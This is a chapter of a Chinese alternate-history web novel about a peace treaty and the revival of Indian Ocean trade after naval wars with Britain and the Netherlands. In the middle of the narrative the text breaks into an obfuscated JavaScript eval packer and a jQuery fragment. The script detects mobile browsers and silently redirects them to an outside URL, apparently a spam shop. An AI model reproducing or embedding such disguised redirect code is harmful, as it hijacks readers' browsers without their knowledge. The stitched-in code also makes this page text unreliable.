印度洋的季风季节，"南海明珠号"的老船长郑大福站在修葺一新的甲板上，望着海天一色的远方，长长舒了口气。三年前，就是在这片海域，他的船被英荷舰队打得千疮百孔，大副阿强至今走路还不太利索。


    "船长，这次咱们总算能安心跑船了。"阿强拄着拐杖走过来，脸上是久违的笑容。


    郑大福眯起眼睛，指着远处几艘正在改变航向的西洋战舰："看，他们现在见到咱们华夏的商船，都得乖乖让路咯！"


    这话不假。自从马达加斯加海战和后续的几次交锋，英荷联军在印度洋上节节败退。曾经不可一世的皇家海军，如今见到绘着雪魄白虎旗的华夏战舰，都得退避三舍。


    武昌总统府里，气氛却是另一番景象。


    "总统，英荷两国的使节已经到了。"外交部侍郎陈远帆快步走进来，"这次他们的态度...谦卑得很。"


    向拯民从文件中抬起头，微微一笑："败军之将，不敢言勇。请他们到议事厅吧。"


    英国特使霍华德爵士和荷兰特使范德堡走进来时，完全没了往日的傲慢。霍华德的那头假发似乎也没心思打理了，显得有些凌乱。


    "总统阁下，"霍华德深深鞠躬，"我代表大英帝国，恳请结束印度洋上的敌对状态。"


    范德堡紧接着说："荷兰东印度公司愿意赔偿贵国商船的全部损失。"


    北部军区司令覃宏武冷冷道："赔偿？我们阵亡的将士，你们赔得起吗？"


    这话让两个使节的脸一阵红一阵白。


    向拯民摆摆手："过去的事暂且不提。说说你们的条件。"


    "我们愿意承认华夏在印度洋的海权，"霍华德急忙说，"只求贵国允许我们的商船继续通行。"


    "还有，"范德堡补充，"希望签订正式的贸易协定。"


    谈判进行了整整七天。


    覃宏武坚持要在协定中写明"英荷舰队不得袭扰华夏商船"，赵磊则提出"华夏商船在英荷港口享受免税待遇"。


    "这...这太苛刻了！"霍华德擦着汗说。


    财政总管覃玉不紧不慢地拨着算盘："若是按往年的贸易量计算，贵国从印度洋贸易中获得的利润，远超这点税收。"


    最后，还是向拯民一锤定音："这样吧，免税待遇以五年为期。五年后视情况再议。但是，"他目光锐利地看着两个使节，"若有任何袭扰商船的行为，协定立即作废！"


    签字仪式定在三天后的祈年殿。覃玉亲自监督会场布置，特意在签字台后方悬挂了一幅巨大的印度洋海图，上面清晰地标注着华夏舰队的巡逻路线和商船航线。


    "要让所有人都看清楚，"覃玉对工作人员说，"从今往后，印度洋上的规矩，得由我们来定！"


    就在谈判进行的同时，赵磊的商帮已经行动起来。


    "明远，"赵磊对即将出海的侄子说，"这次去印度，把咱们最好的丝绸、瓷器都带上。记住，现在咱们是挺直腰板做生意！"


    赵明远笑道："叔父放心，我已经联系好了印度的几个大商人，他们都等着咱们的货呢。"


    最让人振奋的是，曾经被迫改道的商船纷纷回归。郑大福的"南海明珠号"第一个满载货物出发，船上不仅装着丝绸瓷器，还有专门为印度市场定制的新款白虎纹饰绸缎。


    "这可是个新花样，"郑大福抚摸着绸缎上的雪魄图案，"听说印度人特别喜欢这种威风凛凛的纹饰。"


    船队出港那天，港区人山人海。渔民们自发燃放鞭炮，商人们拱手相送，都知道这一去，意味着印度洋商路的彻底畅通。


    签字仪式当天，祈年殿庄严肃穆。


    霍华德和范德堡在协定上签字时，手都在微微发抖。他们知道，这一笔下去，西方在东方海域上百年的霸权就此终结。


    当向拯民提起御笔，在协定上签下自己的名字时，殿外礼炮齐鸣。这炮声，不仅响彻武昌城，也通过电报线，传到了**之外的印度洋舰队。


    正在马六甲海峡巡逻的周镇海接到电报，当即下令："传令各舰，主桅挂满旗！告诉所有人，印度洋太平了！"


    消息传到广州时，赵磊正在商帮总舵算账。他放下算盘，对账房先生说："通知各分号，即日起，恢复所有印度洋航线。运费...降低三成！"


    "东家，这..."


    "薄利多销！"赵磊眼中闪着精光，"现在航路安全了，正是抢占市场的好时机！"


    最先感受到变化的是印度商人。


    在加尔各答，华夏商船再次靠岸时，带来的不仅是商品，还有一份特别的礼物——用檀木匣装着的《印度洋贸易协定》副本。


    "这是..."印度大商人辛格疑惑地打开匣子。


    赵明远自豪地解释："从今往后，咱们的商船在印度洋上，再也不用担心被骚扰了。"


    辛格激动得胡子都在颤抖："太好了！太好了！你们不知道，这些年英荷舰队横行霸道，我们的生意也难做啊！"


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800639|188268||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    更让当地商人惊喜的是，华夏商船带来的商品种类更加丰富。除了传统的丝绸瓷器，还有适合热带地区使用的薄纱、凉席，以及各种精工制作的铁器。


    "这些农具，"一个印度农民抚摸着崭新的犁头，"比我们用的好太多了！"


    然而，总有人不甘心。


    协定签订后不到一个月，一伙英国私掠船在阿拉伯海偷袭了一支华夏商队。幸好周镇海的巡逻舰队及时赶到，才没有造成太大损失。


    "这是公然违背协定！"覃宏武在军事会议上怒不可遏。


    向拯民却显得很平静："传令周镇海，把俘获的私掠船和船员，全部移交给英国东印度公司。"


    "总统！这..."


    "让他们自己处理。"向拯民淡淡道，"我们要看看，他们到底有没有诚意。"


    这个做法收到了奇效。英国东印度公司为了表示诚意，不仅严惩了私掠船主，还主动赔偿了商队的全部损失。


    霍华德爵士特意来道歉："请相信，这绝不是官方行为。大英帝国珍视与华夏的友谊。"


    一年后，印度洋上的贸易盛况空前。


    郑大福的船队已经扩大到二十艘，专门跑华夏-印度-阿拉伯航线。他在广州和孟买都置了宅子，笑称自己"一半时间在海上，一半时间在算账"。


    赵明远更是把生意做到了波斯湾。他带回来的不再是简单的白银，还有珍贵的波斯地毯、阿拉伯香料，以及苏丹的黄金。


    这天，赵磊翻看着年终账本，笑得合不拢嘴："好家伙，今年印度洋贸易的利润，比去年翻了五番！"


    覃玉拿着财政报告来找向拯民："总统您看，海关税收不降反升。虽然咱们的商船免税，但贸易量上去了，英荷商船缴纳的税款反而更多了。"


    最让人欣慰的是，海上的和平带来了文化的交流。现在印度洋沿岸的港口，都能看到华夏商人开设的学堂，教授汉语和算术。而华夏的港口里，也出现了专门研究阿拉伯天文、印度医学的学者。


    周镇海在一次回京述职时说："现在在印度洋上，咱们的商船见到英荷战舰，不但不躲，还会互相鸣笛致意。"


    "这就是秩序的力量。"向拯民欣慰地说，"有了规矩，大家才能都过上好日子。"


    夕阳西下，广州港千帆竞渡。一面面雪魄白虎旗在晚风中猎猎作响，仿佛在诉说着一个新时代的开启——在这个时代里，海洋不再是战场，而是连接世界的桥梁。